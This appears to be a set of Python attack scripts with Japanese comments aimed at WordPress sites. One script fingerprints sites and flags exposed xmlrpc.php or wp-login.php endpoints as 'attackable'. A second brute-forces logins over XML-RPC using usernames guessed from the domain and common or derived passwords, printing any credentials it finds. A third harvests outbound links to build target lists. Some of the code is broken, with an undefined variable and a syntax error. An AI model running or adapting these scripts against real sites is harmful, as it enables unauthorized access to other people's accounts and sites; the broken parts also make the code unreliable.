import requests
ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"

def get_request(url):
  return requests.get(url, headers={'User-Agent': ua}, timeout=10)
def post_request(url):
  return requests.post(url, headers={'User-Agent': ua}, timeout=10)

def is_wp(url):
  res = get_request(f'{url}/wp-login.php')
  if res.status_code < 400: return True
  res = get_request(f'{url}')
  if "wp-content" in res.text: return True
  return False

def is_secured(url):
  res = get_request(f'{url}/wp-login.php')
  if res.status_code >= 400: return True
  res = post_request(f'{url}/xmlrpc.php')
  if res.status_code >= 400: return True
  return False

def main(url):
  if is_wp(url) is False:
    print("WPサイトではありません")
    return
  if is_secured(url) is False:
    print("このサイトは攻撃可能です。")
  else:
    print("攻撃不可")


if __name__ == "__main__":
    url = "ここに攻撃先のトップURL"
    main(url)

# >> このサイトは攻撃可能です。

from wordpress_xmlrpc import Client, WordPressPost
from wordpress_xmlrpc.methods.users import GetUserInfo

def get_predict_usernames(url):
  '''
  ユーザー名はサイト名、すなわちドメインのトップレベルを除いたものである可能性が高い
  また、サブドメのパターンやハイフンやアンダースコアのパターンもいくつか用意する
  '''
  ret = []
  domain = "".join(url.split("/")[2].split(".")[:-1])
  if domain == "": return ret
  ret.append(domain)
  ret.append(domain.replace(".", ""))
  ret.append(domain.replace("_", ""))
  ret.append(domain.replace("-", ""))
  ret.append(domain.replace("_", "").replace("-", ""))
  ret.append(domain.split(".")[-1])
  return ret

def get_predict_password(username): 
  '''
  1. セキュリティが甘いサイトは「よく使われるパスワード」である可能性が高い
  2. usernameと同じ可能性が高い
  3. 企業サイトの場合、usernameに設立月日などの数字が後ろについているなどのよく設定されるパスワードの組み合わせがある
  '''
  ret = []
  ret.extend(["パスワードに使われているランキングのすべての文字列"])
  ret.append(username)
  ret.extend(["設立月日などの情報を自動でスクレイピングして組み合わせを追加"])
  return ret

def main(url):
  for username in get_predict_usernames(url):
    for password in get_predict_password(username):
      try:
        wp = Client(f'{url}/xmlrpc.php', username, password)
        res = wp.call(GetUserInfo())
        print("ログインパスワードハック成功")
        print(f'username: {username}')
        print(f'password: {password}')
        exit()
      except Exception as e:
        print(e)

if __name__ == "__main__":
    url = "攻撃対象サイトのトップURL"
    main(url)

# >> ログインパスワードハック成功
# >> username: xxxxxxx
# >> password: xxxxxxx

import bs4
import requests
from urllib.parse import urlparse
ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"

def get_request(url):
  return requests.get(url, headers={'User-Agent': ua}, timeout=10)

def main(url):
  soup = bs4.BeautifulSoup(response.text, 'html.parser')
  # この例では１ページ内のURLのみスクレイプしている
  site_urls = []
  for a in soup.find_all('a'):
    if a.get('href') is not None: site_urls.append(a['href'])

  ex_site_url = []
  # 外部サイトURLのみ抽出してトップページURLをセット
  for href in site_urls:
    parsed_url = urlparse(href)
    if parsed_url.netloc not in href:
      ex_site_url.append(f'{parsed_url.scheme}://{parsed_url.netloc}')
  
  # 「攻撃対象を選別する」のスクリプトで攻撃対象を絞り込み（省略）
  
  # とりあえずURLをファイルに書き込み
  d = "\n".join(ex_site_url。。
  with open('wp_site_url.txt', 'w') as f:
    f.write(d)

if __name__ == "__main__":
  url = "スクレイピング先のURL"
  main(url)